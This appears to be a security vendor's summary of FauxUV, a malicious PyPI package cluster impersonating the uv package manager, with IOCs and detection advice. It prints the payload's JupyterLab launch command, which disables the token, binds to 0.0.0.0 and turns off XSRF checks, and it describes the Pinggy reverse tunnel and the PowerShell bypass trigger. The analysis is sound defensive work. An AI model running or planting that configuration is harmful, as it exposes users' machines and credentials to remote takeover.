xygeni.iowriteupFauxUV campaign (Xygeni)
Xygeni details FauxUV, a cluster of PyPI packages (moon-uv, my-magic-uv-helper) that impersonate the popular Rust-based Python package manager uv but carry almost no real functionality. Instead, on Windows they launch JupyterLab with authentication disabled (empty token, bound to 0.0.0.0, XSRF checks off) and, in later versions, expose it to the internet via a Pinggy SSH reverse tunnel, turning a legitimate data-science tool into an open remote shell that inherits the installing user's credentials. The writeup traces the install-time PowerShell trigger moving from setup.py to a separate CLI tool across versions and provides IOCs and detection guidance.
What it is
FauxUV is a PyPI typosquat cluster impersonating the uv package manager, tracked by Xygeni. Two packages by one operator: moon-uv (versions 0.0.1–0.0.16) and my-magic-uv-helper (0.0.1), live at analysis time. They add no real uv functionality and wrap the genuine Astral installer so every URL in the payload points at a reputable host.
How it works
The payload launches JupyterLab with every guardrail stripped, turning a legitimate data-science IDE into an unauthenticated remote shell running as the installing user:
jupyter server --with jupyterlab
--ip=0.0.0.0 # listen on every interface
--ServerApp.token="" # no password, no token
--allow_origin='*' # accept cross-origin connections
--disable_check_xsrf # allow a remote browser/WebSocket to drive itA bundled module opens a Pinggy SSH reverse tunnel forwarding the local Jupyter port to a public address. The shipped script also carries — commented out, not executed — an alternative path using Cloudflare's cloudflared plus a netsh port-proxy to a Linode IP. Source comments are in Chinese and plainly describe the flags; Xygeni reports these as observable, not as a motive claim. An allow_origin='*' value and a colab.bat filename echo informal Google Colab "share my runtime" workflows.
Preconditions / Affected
Windows developers and CI runners that pip install one of these packages. The Windows-only, error-suppressed background execution means the exposure is silent. The tunnel removes the need for the attacker to be network-adjacent.
What to do
- Treat any install-time
powershell -ExecutionPolicy Bypassas a build-breaking signal, whatever URL it fetches. - Alert on
jupyterlaunched with an empty token and--ip=0.0.0.0— that combination should never appear on a workstation or runner. - Monitor outbound SSH to tunnel providers (
*.pinggy.io,*.trycloudflare.com) from developer and CI environments. - Install
uvfrom its official source (docs.astral.sh/uv) and distrust third-party "helper" packages wrapping a tool already trivial to install.
Caveats
The critical scanning trap: the install-time PowerShell auto-run existed only in early versions. Later, more capable versions moved the same primitive into a pip-uv CLI tool and dropped the install-time hook entirely — so a scanner keyed only on lifecycle hooks scores the newer, worse releases as less risky. There is no malware binary to hash and no obfuscated blob; every network string points at a reputable host, so reputation- and signature-based scanning both under-weight it. The behavioral question — what does installing this make the machine do — is what catches it.
Organisations named here
- Astral
Technologies named here
- JupyterLab
- moon-uv
- PowerShell
- my-magic-uv-helper
- Pinggy
- uv
- Cloudflared
- pip-uv
- PyPI
- Python
- Windows
Techniques named here
- Typosquatting / name impersonation
- Unauthenticated exposed service as RCE
- Install-time script execution
- Payload relocation to evade lifecycle-hook detection
- Reverse tunneling for public exposure
- Reputation laundering via legitimate URLs
Threat actors named here
- FauxUV
Related in Supply Chain
